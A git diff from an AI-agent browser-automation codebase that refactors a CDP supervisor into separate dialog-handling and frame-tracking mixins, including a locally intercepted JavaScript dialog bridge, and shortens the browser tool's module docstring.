- self._frames[frame_id] = FrameInfo( - frame_id=frame_id, - url="", - origin="", - parent_frame_id=params.get("parentFrameId"), - is_oopif=False, - cdp_session_id=session_id, - ) - - def _on_frame_navigated( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - frame = params.get("frame") or {} - frame_id = frame.get("id") - if not frame_id: - return - with self._state_lock: - existing = self._frames.get(frame_id) - self._frames[frame_id] = FrameInfo( - frame_id=frame_id, - url=str(frame.get("url") or ""), - origin=str(frame.get("securityOrigin") or frame.get("origin") or ""), - parent_frame_id=frame.get("parentId") or (existing.parent_frame_id if existing else None), - is_oopif=bool(existing.is_oopif if existing else False), - cdp_session_id=existing.cdp_session_id if existing else session_id, - name=str(frame.get("name") or (existing.name if existing else "")), - ) - - def _on_frame_detached( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - """Drop a frame only when it's truly gone. - - ``reason="swap"`` means the frame is migrating processes (e.g. promoted - to an OOPIF) — dropping it would hide the iframe, so it's a no-op. Even - with ``reason="remove"`` the parent only knows the child left ITS - process; if we hold a live child session for that frame_id it is still - alive, so keep it until Target.detached + a later frameDetached clear it. - """ - frame_id = params.get("frameId") - if not frame_id: - return - reason = str(params.get("reason") or "remove").lower() - if reason == "swap": - return - with self._state_lock: - existing = self._frames.get(frame_id) - if existing and existing.is_oopif and existing.cdp_session_id: - return - self._frames.pop(frame_id, None) - - async def _on_target_attached(self, params: Dict[str, Any], session_id: Optional[str] = None) -> None: - info = params.get("targetInfo") or {} - sid = params.get("sessionId") - target_type = info.get("type") - if not sid or target_type not in {"iframe", "worker"}: - return - self._child_sessions[sid] = {"info": info, "type": target_type} - - # Record the frame with its OOPIF session id for interaction routing. - if target_type == "iframe": - target_id = info.get("targetId") - with self._state_lock: - existing = self._frames.get(target_id) - self._frames[target_id] = FrameInfo( - frame_id=target_id, - url=str(info.get("url") or ""), - origin="", # filled by frameNavigated on the child session - parent_frame_id=(existing.parent_frame_id if existing else None), - is_oopif=True, - cdp_session_id=sid, - name=str(info.get("title") or (existing.name if existing else "")), - ) - - # Enable child domains off-loop: awaiting the replies here would deadlock - # because only the reader can resolve those Futures. - asyncio.create_task(self._enable_child_domains(sid)) - - async def _enable_child_domains(self, sid: str) -> None: - """Enable Page+Runtime (+nested setAutoAttach) and the dialog bridge on a child session.""" - try: - await self._cdp("Page.enable", session_id=sid, timeout=3.0) - await self._cdp("Runtime.enable", session_id=sid, timeout=3.0) - await self._cdp( - "Target.setAutoAttach", - {"autoAttach": True, "waitForDebuggerOnStart": False, "flatten": True}, - session_id=sid, - timeout=3.0, - ) - except Exception as e: - logger.debug("child session %s setup failed: %s", sid[:16], e) - await self._install_dialog_bridge(sid) - - def _on_target_detached(self, params: Dict[str, Any], session_id: Optional[str] = None) -> None: - """Clear the session binding of frames on a detached child session. - - Frames are deliberately NOT dropped: Browserbase fires transient detaches - during page transitions while the iframe is still visible, and dropping - would hide OOPIFs until the next ``Target.attachedToTarget``. Clearing - ``cdp_session_id`` just stops stale routing; ``Page.frameDetached`` - cleans up if the iframe truly goes away. - """ - sid = params.get("sessionId") - if not sid: - return - self._child_sessions.pop(sid, None) - with self._state_lock: - for fid, frame in list(self._frames.items()): - if frame.cdp_session_id == sid: - self._frames[fid] = replace(frame, cdp_session_id=None) - # ── Console / exception ring buffer ───────────────────────────────────── def _on_console(self, params: Dict[str, Any], *, level_from: str) -> None: @@ -1201,69 +623,17 @@ class CDPSupervisor: event = ConsoleEvent(ts=time.time(), level=level, text=" ".join(parts)) with self._state_lock: self._console_events.append(event) - if len(self._console_events) > CONSOLE_HISTORY_MAX * 2: - # Keep last CONSOLE_HISTORY_MAX; 2x slack reduces churn. - self._console_events = self._console_events[-CONSOLE_HISTORY_MAX:] + self._console_events = _trim_ring(self._console_events, CONSOLE_HISTORY_MAX) # CDP event → handler(self, params, session_id). Async handlers return an # awaitable that ``_on_event`` awaits; sync handlers return None. _EVENT_HANDLERS: Dict[str, Callable[..., Any]] = { - "Page.javascriptDialogOpening": _on_dialog_opening, - "Page.javascriptDialogClosed": _on_dialog_closed, - "Fetch.requestPaused": _on_fetch_paused, - "Page.frameAttached": _on_frame_attached, - "Page.frameNavigated": _on_frame_navigated, - "Page.frameDetached": _on_frame_detached, - "Target.attachedToTarget": _on_target_attached, - "Target.detachedFromTarget": _on_target_detached, + **DialogSupervisionMixin.EVENT_HANDLERS, + **FrameTrackingMixin.EVENT_HANDLERS, "Runtime.consoleAPICalled": lambda self, p, _sid: self._on_console(p, level_from="api"), "Runtime.exceptionThrown": lambda self, p, _sid: self._on_console(p, level_from="exception"), } - # ── Frame tree building (bounded) ─────────────────────────────────────── - - def _build_frame_tree_locked(self) -> Dict[str, Any]: - """Build the capped frame_tree payload. Must be called under state lock.""" - frames = self._frames - empty = {"top": None, "children": [], "truncated": False} - if not frames: - return empty - - # Top frame: one with no parent, preferring oopif=False. - tops = [f for f in frames.values() if not f.parent_frame_id] - top = next((f for f in tops if not f.is_oopif), tops[0] if tops else None) - if top is None: - return empty - - # BFS from top, capped by FRAME_TREE_MAX_ENTRIES and - # FRAME_TREE_MAX_OOPIF_DEPTH for OOPIF branches. - children: List[Dict[str, Any]] = [] - truncated = False - queue: List[Tuple[FrameInfo, int]] = [ - (f, 1) for f in frames.values() if f.parent_frame_id == top.frame_id - ] - visited: set[str] = {top.frame_id} - while queue and len(children) < FRAME_TREE_MAX_ENTRIES: - frame, depth = queue.pop(0) - if frame.frame_id in visited: - continue - visited.add(frame.frame_id) - if frame.is_oopif and depth > FRAME_TREE_MAX_OOPIF_DEPTH: - truncated = True - continue - children.append(frame.to_dict()) - for f in frames.values(): - if f.parent_frame_id == frame.frame_id and f.frame_id not in visited: - queue.append((f, depth + 1)) - if queue: - truncated = True - - return { - "top": top.to_dict(), - "children": children, - "truncated": truncated, - } - # ── Registry ───────────────────────────────────────────────────────────────── diff --git a/tools/browser_supervisor_dialogs.py b/tools/browser_supervisor_dialogs.py new file mode 100644 index 0000000000..017b3c3152 --- /dev/null +++ b/tools/browser_supervisor_dialogs.py @@ -0,0 +1,480 @@ +"""Dialog capture + response half of the CDP supervisor. + +Two capture paths feed the same ``PendingDialog`` queue: + +* native ``Page.javascriptDialogOpening`` events (answered with + ``Page.handleJavaScriptDialog``), and +* the injected *dialog bridge*: a page script that rewrites alert/confirm/prompt + into a sync XHR to a magic host we intercept via the CDP ``Fetch`` domain and + answer with ``Fetch.fulfillRequest``. Works on Browserbase, whose CDP proxy + auto-dismisses real native dialogs, because the native dialog never fires. + +``DialogSupervisionMixin`` is mixed into ``tools.browser_supervisor.CDPSupervisor`` +and relies on the state that class initialises (``_state_lock``, +``_pending_dialogs``, ``_recent_dialogs``, ``_dialog_watchdogs``, ``_cdp`` ...). +""" + +from __future__ import annotations + +import asyncio +import base64 +import json +import logging +import time +from dataclasses import dataclass +from typing import Any, Callable, Coroutine, Dict, Optional +from urllib.parse import parse_qs, urlparse + +# Logger-name parity with the origin module (records must look unchanged). +logger = logging.getLogger("tools.browser_supervisor") + + +def _redact_supervisor_text(value: str) -> str: + """Redact page-originated text before exposing supervisor snapshots.""" + from agent.redact import redact_sensitive_text + + return redact_sensitive_text(value, force=True) + + +def _trim_ring(events: list, keep: int) -> list: + """Cap a ring buffer at ``keep`` entries once it overflows to 2x (slack reduces churn).""" + return events[-keep:] if len(events) > keep * 2 else events + + +# ── Policy / config defaults ───────────────────────────────────────────────── + +DIALOG_POLICY_MUST_RESPOND = "must_respond" +DIALOG_POLICY_AUTO_DISMISS = "auto_dismiss" +DIALOG_POLICY_AUTO_ACCEPT = "auto_accept" + +_VALID_POLICIES = frozenset( + {DIALOG_POLICY_MUST_RESPOND, DIALOG_POLICY_AUTO_DISMISS, DIALOG_POLICY_AUTO_ACCEPT} +) + +DEFAULT_DIALOG_POLICY = DIALOG_POLICY_MUST_RESPOND +DEFAULT_DIALOG_TIMEOUT_S = 300.0 + +# Last N closed dialogs kept in ``recent_dialogs`` so agents on backends that +# auto-dismiss server-side (Browserbase) can still observe that a dialog fired. +RECENT_DIALOGS_MAX = 20 + +# Magic host the injected dialog bridge XHRs to. Intercepted via the CDP Fetch +# domain before any network resolution, so it never has to exist. Keep ASCII + +# URL-safe; Fetch patterns are gated on it. +DIALOG_BRIDGE_HOST = "hermes-dialog-bridge.invalid" +DIALOG_BRIDGE_URL_PATTERN = f"http://{DIALOG_BRIDGE_HOST}/*" + +# Injected into every frame via Page.addScriptToEvaluateOnNewDocument. +_DIALOG_BRIDGE_SCRIPT = r""" +(() => { + if (window.__hermesDialogBridgeInstalled) return; + window.__hermesDialogBridgeInstalled = true; + const ENDPOINT = "http://hermes-dialog-bridge.invalid/"; + function ask(kind, message, defaultPrompt) { + try { + const xhr = new XMLHttpRequest(); + // Use GET with query params so we don't need to worry about request + // body encoding in the Fetch interceptor. + const params = new URLSearchParams({ + kind: String(kind || ""), + message: String(message == null ? "" : message), + default_prompt: String(defaultPrompt == null ? "" : defaultPrompt), + }); + xhr.open("GET", ENDPOINT + "?" + params.toString(), false); // sync + xhr.send(null); + if (xhr.status !== 200) return null; + const body = xhr.responseText || ""; + let parsed; + try { parsed = JSON.parse(body); } catch (e) { return null; } + if (kind === "alert") return undefined; + if (kind === "confirm") return Boolean(parsed && parsed.accept); + if (kind === "prompt") { + if (!parsed || !parsed.accept) return null; + return parsed.prompt_text == null ? "" : String(parsed.prompt_text); + } + return null; + } catch (e) { + // If the bridge is unreachable, fall back to the native call so the + // page still sees *some* behavior (the backend will auto-dismiss). + return null; + } + } + const realAlert = window.alert; + const realConfirm = window.confirm; + const realPrompt = window.prompt; + window.alert = function(message) { ask("alert", message, ""); }; + window.confirm = function(message) { + const r = ask("confirm", message, ""); + return r === null ? false : Boolean(r); + }; + window.prompt = function(message, def) { + const r = ask("prompt", message, def == null ? "" : def); + return r === null ? null : String(r); + }; + // onbeforeunload — we can't really synchronously prompt the user from this + // event without racing navigation. Leave native behavior for now; the + // supervisor's native-dialog fallback path still surfaces them in + // recent_dialogs. +})(); +""" + + +# ── Data model ──────────────────────────────────────────────────────────────── + + +@dataclass +class PendingDialog: + """A JS dialog currently open on some frame's session.""" + + id: str + type: str # "alert" | "confirm" | "prompt" | "beforeunload" + message: str + default_prompt: str + opened_at: float + cdp_session_id: str # which attached CDP session the dialog fired in + frame_id: Optional[str] = None + # Set when captured via the bridge XHR path: respond via Fetch.fulfillRequest, + # NOT Page.handleJavaScriptDialog — the native dialog never fired. + bridge_request_id: Optional[str] = None + + def to_dict(self) -> Dict[str, Any]: + return { + "id": self.id, + "type": self.type, + "message": _redact_supervisor_text(self.message), + "default_prompt": _redact_supervisor_text(self.default_prompt), + "opened_at": self.opened_at, + "frame_id": self.frame_id, + } + + +@dataclass +class DialogRecord: + """A dialog that was opened and then handled (kept briefly in ``recent_dialogs``).""" + + id: str + type: str + message: str + opened_at: float + closed_at: float + closed_by: str # "agent" | "auto_policy" | "remote" | "watchdog" + frame_id: Optional[str] = None + + def to_dict(self) -> Dict[str, Any]: + return { + "id": self.id, + "type": self.type, + "message": _redact_supervisor_text(self.message), + "opened_at": self.opened_at, + "closed_at": self.closed_at, + "closed_by": self.closed_by, + "frame_id": self.frame_id, + } + + +# ── Mixin ───────────────────────────────────────────────────────────────────── + + +class DialogSupervisionMixin: + """Dialog event handling for ``CDPSupervisor`` (all methods run on its loop).""" + + async def _install_dialog_bridge(self, session_id: str) -> None: + """Install the dialog-bridge init script + Fetch interceptor on a session. + + The JS override runs in every frame before page scripts; Fetch.enable + scoped to the bridge URL catches the XHRs, which surface as pending + dialogs and are fulfilled when the agent responds. Idempotent at the CDP + level (Chromium de-dupes identical add-script calls; Fetch.enable + replaces prior patterns). + """ + try: + await self._cdp( + "Page.addScriptToEvaluateOnNewDocument", + {"source": _DIALOG_BRIDGE_SCRIPT, "runImmediately": True}, + session_id=session_id, + timeout=5.0, + ) + except Exception as e: + logger.debug( + "dialog bridge: addScriptToEvaluateOnNewDocument failed on sid=%s: %s", + (session_id or "")[:16], e, + ) + try: + await self._cdp( + "Fetch.enable", + { + "patterns": [ + { + "urlPattern": DIALOG_BRIDGE_URL_PATTERN, + "requestStage": "Request", + } + ], + "handleAuthRequests": False, + }, + session_id=session_id, + timeout=5.0, + ) + except Exception as e: + logger.debug( + "dialog bridge: Fetch.enable failed on sid=%s: %s", + (session_id or "")[:16], e, + ) + # Best-effort inject into the already-loaded document so existing pages + # pick up the override on reconnect. + try: + await self._cdp( + "Runtime.evaluate", + {"expression": _DIALOG_BRIDGE_SCRIPT, "returnByValue": True}, + session_id=session_id, + timeout=3.0, + ) + except Exception: + pass + + # ── Capture ────────────────────────────────────────────────────────────── + + async def _on_dialog_opening( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + dialog = self._new_dialog( + type=str(params.get("type") or ""), + message=str(params.get("message") or ""), + default_prompt=str(params.get("defaultPrompt") or ""), + session_id=session_id, + frame_id=params.get("frameId"), + ) + self._admit_dialog(dialog, self._auto_handle_dialog) + + async def _on_fetch_paused( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + """Bridge XHR captured mid-flight — materialize as a pending dialog. + + The page's JS thread is blocked on the XHR until we Fetch.fulfillRequest + (from ``respond_to_dialog`` or the watchdog). + """ + url = str(params.get("request", {}).get("url") or "") + request_id = params.get("requestId") + if not request_id: + return + if DIALOG_BRIDGE_HOST not in url: + # Not ours — forward unchanged so the page sees its own request. + try: + await self._cdp( + "Fetch.continueRequest", {"requestId": request_id}, + session_id=session_id, timeout=3.0, + ) + except Exception: + pass + return + + q = parse_qs(urlparse(url).query) + dialog = self._new_dialog( + type=q.get("kind", [""])[0] or "alert", + message=q.get("message", [""])[0], + default_prompt=q.get("default_prompt", [""])[0], + session_id=session_id, + frame_id=params.get("frameId"), + bridge_request_id=str(request_id), + ) + self._admit_dialog(dialog, self._fulfill_bridge_request) + + def _new_dialog( + self, + *, + type: str, + message: str, + default_prompt: str, + session_id: Optional[str], + frame_id: Optional[str], + bridge_request_id: Optional[str] = None, + ) -> PendingDialog: + self._dialog_seq += 1 + return PendingDialog( + id=f"d-{self._dialog_seq}", + type=type, + message=message, + default_prompt=default_prompt, + opened_at=time.time(), + cdp_session_id=session_id or self._page_session_id or "", + frame_id=frame_id, + bridge_request_id=bridge_request_id, + ) + + def _admit_dialog( + self, + dialog: PendingDialog, + responder: Callable[..., Coroutine[Any, Any, None]], + ) -> None: + """Apply the dialog policy: auto-respond via ``responder`` or queue + arm watchdog. + + Auto policies archive FIRST (tagged ``auto_policy``) so the ``closed`` + event that follows our own response isn't re-archived as ``remote``. + """ + auto = { + DIALOG_POLICY_AUTO_DISMISS: (False, ""), + DIALOG_POLICY_AUTO_ACCEPT: (True, dialog.default_prompt), + }.get(self.dialog_policy) + if auto is not None: + accept, prompt_text = auto + with self._state_lock: + self._archive_dialog_locked(dialog, "auto_policy") + asyncio.create_task(responder(dialog, accept=accept, prompt_text=prompt_text)) + return + # must_respond → add to pending and arm watchdog. + with self._state_lock: + self._pending_dialogs[dialog.id] = dialog + loop = asyncio.get_running_loop() + handle = loop.call_later( + self.dialog_timeout_s, + lambda: asyncio.create_task(self._dialog_timeout_expired(dialog.id)), + ) + self._dialog_watchdogs[dialog.id] = handle + + # ── Responding ─────────────────────────────────────────────────────────── + + async def _respond( + self, dialog: PendingDialog, *, accept: bool, prompt_text: Optional[str] + ) -> None: + """Bridge-fulfill for XHR-captured dialogs, else native CDP. Raises on native CDP failure.""" + if dialog.bridge_request_id: + await self._fulfill_bridge_request(dialog, accept=accept, prompt_text=prompt_text or "") + else: + await self._native_handle_dialog(dialog, accept=accept, prompt_text=prompt_text) + + async def _native_handle_dialog( + self, dialog: PendingDialog, *, accept: bool, prompt_text: Optional[str] + ) -> None: + """Page.handleJavaScriptDialog; ``promptText`` sent only for prompt dialogs + when ``prompt_text`` is given. Raises on CDP failure.""" + params: Dict[str, Any] = {"accept": accept} + if prompt_text is not None and dialog.type == "prompt": + params["promptText"] = prompt_text + await self._cdp( + "Page.handleJavaScriptDialog", + params, + session_id=dialog.cdp_session_id or None, + timeout=5.0, + ) + + async def _fulfill_bridge_request( + self, dialog: PendingDialog, *, accept: bool, prompt_text: str + ) -> None: + """Resolve a bridge XHR via Fetch.fulfillRequest so the page unblocks.""" + if not dialog.bridge_request_id: + return + payload = { + "accept": bool(accept), + "prompt_text": prompt_text if dialog.type == "prompt" else "", + "dialog_id": dialog.id, + } + body = json.dumps(payload).encode() + try: + await self._cdp( + "Fetch.fulfillRequest", + { + "requestId": dialog.bridge_request_id, + "responseCode": 200, + "responseHeaders": [ + {"name": "Content-Type", "value": "application/json"}, + {"name": "Access-Control-Allow-Origin", "value": "*"}, + ], + "body": base64.b64encode(body).decode(), + }, + session_id=dialog.cdp_session_id or None, + timeout=5.0, + ) + except Exception as e: + logger.debug("bridge fulfill failed for %s: %s", dialog.id, e) + + async def _auto_handle_dialog( + self, dialog: PendingDialog, *, accept: bool, prompt_text: str + ) -> None: + """Auto-policy response for a native dialog (already archived by the caller).""" + try: + await self._native_handle_dialog(dialog, accept=accept, prompt_text=prompt_text) + except Exception as e: + logger.debug("auto-handle CDP call failed for %s: %s", dialog.id, e) + + async def _handle_dialog_cdp( + self, dialog: PendingDialog, *, accept: bool, prompt_text: str + ) -> None: + """Agent response path. + + The dialog is retired regardless of outcome — a CDP error usually means + it already closed (browser auto-dismissed after navigation, etc.). + """ + try: + await self._respond(dialog, accept=accept, prompt_text=prompt_text) + finally: + self._retire_dialog(dialog.id, "agent") + + async def _dialog_timeout_expired(self, dialog_id: str) -> None: + with self._state_lock: + dialog = self._pending_dialogs.get(dialog_id) + if dialog is None: + return + logger.warning( + "CDP supervisor %s: dialog %s (%s) auto-dismissed after %ss timeout", + self.task_id, + dialog_id, + dialog.type, + self.dialog_timeout_s, + ) + try: + # Archive with watchdog tag BEFORE unblocking the page. + with self._state_lock: + if self._pending_dialogs.pop(dialog_id, None) is not None: + self._archive_dialog_locked(dialog, "watchdog") + await self._respond(dialog, accept=False, prompt_text=None) + except Exception as e: + logger.debug("auto-dismiss failed for %s: %s", dialog_id, e) + + # ── Bookkeeping ────────────────────────────────────────────────────────── + + def _retire_dialog(self, dialog_id: str, closed_by: str) -> None: + """Remove a pending dialog (archiving it with ``closed_by``) and cancel its watchdog.""" + with self._state_lock: + dialog = self._pending_dialogs.pop(dialog_id, None) + if dialog is not None: + self._archive_dialog_locked(dialog, closed_by) + handle = self._dialog_watchdogs.pop(dialog_id, None) + if handle is not None: + handle.cancel() + + def _archive_dialog_locked(self, dialog: PendingDialog, closed_by: str) -> None: + """Move a pending dialog to the recent_dialogs ring buffer. Must hold state_lock.""" + record = DialogRecord( + id=dialog.id, + type=dialog.type, + message=dialog.message, + opened_at=dialog.opened_at, + closed_at=time.time(), + closed_by=closed_by, + frame_id=dialog.frame_id, + ) + self._recent_dialogs.append(record) + self._recent_dialogs = _trim_ring(self._recent_dialogs, RECENT_DIALOGS_MAX) + + async def _on_dialog_closed( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + # ``Page.javascriptDialogClosed`` carries only ``result``/``userInput``, not + # the message. Match by session id and clear the oldest native dialog on + # it — the JS thread blocks while a dialog is up, so at most one is in + # flight per session. Bridge dialogs resolve via Fetch.fulfillRequest. + with self._state_lock: + candidate_ids = [ + d.id + for d in self._pending_dialogs.values() + if d.cdp_session_id == session_id and d.bridge_request_id is None + ] + if candidate_ids: + self._retire_dialog(candidate_ids[0], "remote") + + # CDP event → handler(self, params, session_id); merged into CDPSupervisor._EVENT_HANDLERS. + EVENT_HANDLERS: Dict[str, Callable[..., Any]] = { + "Page.javascriptDialogOpening": _on_dialog_opening, + "Page.javascriptDialogClosed": _on_dialog_closed, + "Fetch.requestPaused": _on_fetch_paused, + } diff --git a/tools/browser_supervisor_frames.py b/tools/browser_supervisor_frames.py new file mode 100644 index 0000000000..7d021be284 --- /dev/null +++ b/tools/browser_supervisor_frames.py @@ -0,0 +1,229 @@ +"""Frame / OOPIF target tracking half of the CDP supervisor. + +Maintains ``CDPSupervisor._frames`` from ``Page.frame*`` and ``Target.*`` +events and renders the bounded ``frame_tree`` snapshot payload. ``FrameInfo`` +entries for OOPIFs carry the child CDP session id so ``browser_cdp(frame_id=)`` +can route calls into the iframe over the supervisor's live socket. +""" + +from __future__ import annotations + +import asyncio +import logging +from dataclasses import dataclass, replace +from typing import Any, Callable, Dict, List, Optional, Tuple + +# Logger-name parity with the origin module (records must look unchanged). +logger = logging.getLogger("tools.browser_supervisor") + +# Snapshot caps for frame_tree — keep payloads bounded on ad-heavy pages. +FRAME_TREE_MAX_ENTRIES = 30 +FRAME_TREE_MAX_OOPIF_DEPTH = 2 + +_AUTO_ATTACH_PARAMS = {"autoAttach": True, "waitForDebuggerOnStart": False, "flatten": True} + + +@dataclass +class FrameInfo: + """One frame in the page's frame tree. + + ``is_oopif`` frames have their own CDP target (reachable via + ``cdp_session_id``); same-origin / srcdoc iframes share the parent process + and have ``is_oopif=False`` + ``cdp_session_id=None``. + """ + + frame_id: str + url: str + origin: str + parent_frame_id: Optional[str] + is_oopif: bool + cdp_session_id: Optional[str] = None + name: str = "" + + def to_dict(self) -> Dict[str, Any]: + d = { + "frame_id": self.frame_id, + "url": self.url, + "origin": self.origin, + "is_oopif": self.is_oopif, + } + if self.cdp_session_id: + d["session_id"] = self.cdp_session_id + if self.parent_frame_id: + d["parent_frame_id"] = self.parent_frame_id + if self.name: + d["name"] = self.name + return d + + +class FrameTrackingMixin: + """Frame-tree bookkeeping for ``CDPSupervisor`` (event handlers run on its loop).""" + + async def _enable_page_domains(self, session_id: Optional[str], *, timeout: float) -> None: + """Page.enable + Runtime.enable + nested auto-attach on one session.""" + await self._cdp("Page.enable", session_id=session_id, timeout=timeout) + await self._cdp("Runtime.enable", session_id=session_id, timeout=timeout) + await self._cdp( + "Target.setAutoAttach", _AUTO_ATTACH_PARAMS, + session_id=session_id, timeout=timeout, + ) + + def _on_frame_attached( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + frame_id = params.get("frameId") + if not frame_id: + return + with self._state_lock: + self._frames[frame_id] = FrameInfo( + frame_id=frame_id, + url="", + origin="", + parent_frame_id=params.get("parentFrameId"), + is_oopif=False, + cdp_session_id=session_id, + ) + + def _on_frame_navigated( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + frame = params.get("frame") or {} + frame_id = frame.get("id") + if not frame_id: + return + with self._state_lock: + existing = self._frames.get(frame_id) + self._frames[frame_id] = FrameInfo( + frame_id=frame_id, + url=str(frame.get("url") or ""), + origin=str(frame.get("securityOrigin") or frame.get("origin") or ""), + parent_frame_id=frame.get("parentId") or (existing.parent_frame_id if existing else None), + is_oopif=bool(existing.is_oopif if existing else False), + cdp_session_id=existing.cdp_session_id if existing else session_id, + name=str(frame.get("name") or (existing.name if existing else "")), + ) + + def _on_frame_detached( + self, params: Dict[str, Any], session_id: Optional[str] + ) -> None: + """Drop a frame only when it's truly gone. + + ``reason="swap"`` means the frame is migrating processes (e.g. promoted + to an OOPIF) — dropping it would hide the iframe, so it's a no-op. Even + with ``reason="remove"`` the parent only knows the child left ITS + process; if we hold a live child session for that frame_id it is still + alive, so keep it until Target.detached + a later frameDetached clear it. + """ + frame_id = params.get("frameId") + if not frame_id: + return + reason = str(params.get("reason") or "remove").lower() + if reason == "swap": + return + with self._state_lock: + existing = self._frames.get(frame_id) + if existing and existing.is_oopif and existing.cdp_session_id: + return + self._frames.pop(frame_id, None) + + async def _on_target_attached(self, params: Dict[str, Any], session_id: Optional[str] = None) -> None: + info = params.get("targetInfo") or {} + sid = params.get("sessionId") + target_type = info.get("type") + if not sid or target_type not in {"iframe", "worker"}: + return + + # Record the frame with its OOPIF session id for interaction routing. + if target_type == "iframe": + target_id = info.get("targetId") + with self._state_lock: + existing = self._frames.get(target_id) + self._frames[target_id] = FrameInfo( + frame_id=target_id, + url=str(info.get("url") or ""), + origin="", # filled by frameNavigated on the child session + parent_frame_id=(existing.parent_frame_id if existing else None), + is_oopif=True, + cdp_session_id=sid, + name=str(info.get("title") or (existing.name if existing else "")), + ) + + # Enable child domains off-loop: awaiting the replies here would deadlock + # because only the reader can resolve those Futures. + asyncio.create_task(self._enable_child_domains(sid)) + + async def _enable_child_domains(self, sid: str) -> None: + """Enable Page+Runtime (+nested setAutoAttach) and the dialog bridge on a child session.""" + try: + await self._enable_page_domains(sid, timeout=3.0) + except Exception as e: + logger.debug("child session %s setup failed: %s", sid[:16], e) + await self._install_dialog_bridge(sid) + + def _on_target_detached(self, params: Dict[str, Any], session_id: Optional[str] = None) -> None: + """Clear the session binding of frames on a detached child session. + + Frames are deliberately NOT dropped: Browserbase fires transient detaches + during page transitions while the iframe is still visible, and dropping + would hide OOPIFs until the next ``Target.attachedToTarget``. Clearing + ``cdp_session_id`` just stops stale routing; ``Page.frameDetached`` + cleans up if the iframe truly goes away. + """ + sid = params.get("sessionId") + if not sid: + return + with self._state_lock: + for fid, frame in list(self._frames.items()): + if frame.cdp_session_id == sid: + self._frames[fid] = replace(frame, cdp_session_id=None) + + def _build_frame_tree_locked(self) -> Dict[str, Any]: + """Build the capped frame_tree payload. Must be called under state lock.""" + frames = self._frames + empty = {"top": None, "children": [], "truncated": False} + if not frames: + return empty + + # Top frame: one with no parent, preferring oopif=False. + tops = [f for f in frames.values() if not f.parent_frame_id] + top = next((f for f in tops if not f.is_oopif), tops[0] if tops else None) + if top is None: + return empty + + # BFS from top, capped by FRAME_TREE_MAX_ENTRIES and + # FRAME_TREE_MAX_OOPIF_DEPTH for OOPIF branches. + children: List[Dict[str, Any]] = [] + truncated = False + queue: List[Tuple[FrameInfo, int]] = [ + (f, 1) for f in frames.values() if f.parent_frame_id == top.frame_id + ] + visited: set[str] = {top.frame_id} + while queue and len(children) < FRAME_TREE_MAX_ENTRIES: + frame, depth = queue.pop(0) + if frame.frame_id in visited: + continue + visited.add(frame.frame_id) + if frame.is_oopif and depth > FRAME_TREE_MAX_OOPIF_DEPTH: + truncated = True + continue + children.append(frame.to_dict()) + for f in frames.values(): + if f.parent_frame_id == frame.frame_id and f.frame_id not in visited: + queue.append((f, depth + 1)) + if queue: + truncated = True + + return { + "top": top.to_dict(), + "children": children, + "truncated": truncated, + } + + # CDP event → handler(self, params, session_id); merged into CDPSupervisor._EVENT_HANDLERS. + EVENT_HANDLERS: Dict[str, Callable[..., Any]] = { + "Page.frameAttached": _on_frame_attached, + "Page.frameNavigated": _on_frame_navigated, + "Page.frameDetached": _on_frame_detached, + "Target.attachedToTarget": _on_target_attached, + "Target.detachedFromTarget": _on_target_detached, + } diff --git a/tools/browser_tool.py b/tools/browser_tool.py index ada55426d2..736d321eb5 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -1,52 +1,21 @@ #!/usr/bin/env python3 -""" -Browser Tool Module +"""Browser automation tools driven by the agent-browser CLI. -This module provides browser automation tools using agent-browser CLI. It -supports multiple backends — **Browser Use** (cloud, default for Nous -subscribers), **Browserbase** (cloud, direct credentials), and **local -Chromium** — with identical agent-facing behaviour. The backend is -auto-detected from config and available credentials. +Backends — local headless Chromium (default; ``agent-browser install +[--with-deps]`` one-time setup), Browser Use / Browserbase / Firecrawl cloud +(auto-detected from config + credentials), a user-supplied CDP endpoint, or +Camofox — share one agent-facing behaviour: per-task sessions, text snapshots +of the accessibility tree with ``@eN`` element refs, and automatic cleanup. -The tool uses agent-browser's accessibility tree (ariaSnapshot) for text-based -page representation, making it ideal for LLM agents without vision capabilities. +Env: BROWSERBASE_API_KEY / BROWSERBASE_PROJECT_ID / BROWSER_USE_API_KEY select +direct cloud credentials; BROWSERBASE_PROXIES (default "true"), +BROWSERBASE_ADVANCED_STEALTH ("false", Scale plan), BROWSERBASE_KEEP_ALIVE +("true", paid plan) and BROWSERBASE_SESSION_TIMEOUT (seconds, max 21600) tune +Browserbase sessions. Behavioural settings live under ``browser.*`` in config.yaml. -Features: -- **Local mode** (default): zero-cost headless Chromium via agent-browser. - Works on Linux servers without a display. One-time setup: - ``agent-browser install`` (downloads Chromium) or - ``agent-browser install --with-deps`` (also installs system libraries for - Debian/Ubuntu/Docker). -- **Cloud mode**: Browserbase or Browser Use cloud execution when configured. -- Session isolation per task ID -- Text-based page snapshots using accessibility tree -- Element interaction via ref selectors (@e1, @e2, etc.) -- Task-aware content extraction using LLM summarization -- Automatic cleanup of browser sessions - -Environment Variables: -- BROWSERBASE_API_KEY: API key for direct Browserbase cloud mode -- BROWSERBASE_PROJECT_ID: Project ID for direct Browserbase cloud mode -- BROWSER_USE_API_KEY: API key for direct Browser Use cloud mode -- BROWSERBASE_PROXIES: Enable/disable residential proxies (default: "true") -- BROWSERBASE_ADVANCED_STEALTH: Enable advanced stealth mode with custom Chromium, - requires Scale Plan (default: "false") -- BROWSERBASE_KEEP_ALIVE: Enable keepAlive for session reconnection after disconnects, - requires paid plan (default: "true") -- BROWSERBASE_SESSION_TIMEOUT: Custom session timeout in seconds (max 21600 = 6h). - Set to extend beyond project default. Common values: 600 (10min), 1800 (30min) (default: none) - -Usage: - from tools.browser_tool import browser_navigate, browser_snapshot, browser_click - - # Navigate to a page - result = browser_navigate("https://example.com", task_id="task_123") - - # Get page snapshot - snapshot = browser_snapshot(task_id="task_123") - - # Click an element - browser_click("@e5", task_id="task_123") +Sibling modules hold extracted clusters (eval policy, lightpanda fallback, +real-profile CDP, snapshot store); their names are re-imported here so +``patch("tools.browser_tool.X")`` keeps working. """ import atexit @@ -56,7 +25,6 @@ import json import logging import os import signal -import re import subprocess import shutil import sys @@ -82,14 +50,10 @@ from hermes_cli._subprocess_compat import windows_hide_flags def __getattr__(name: str): - 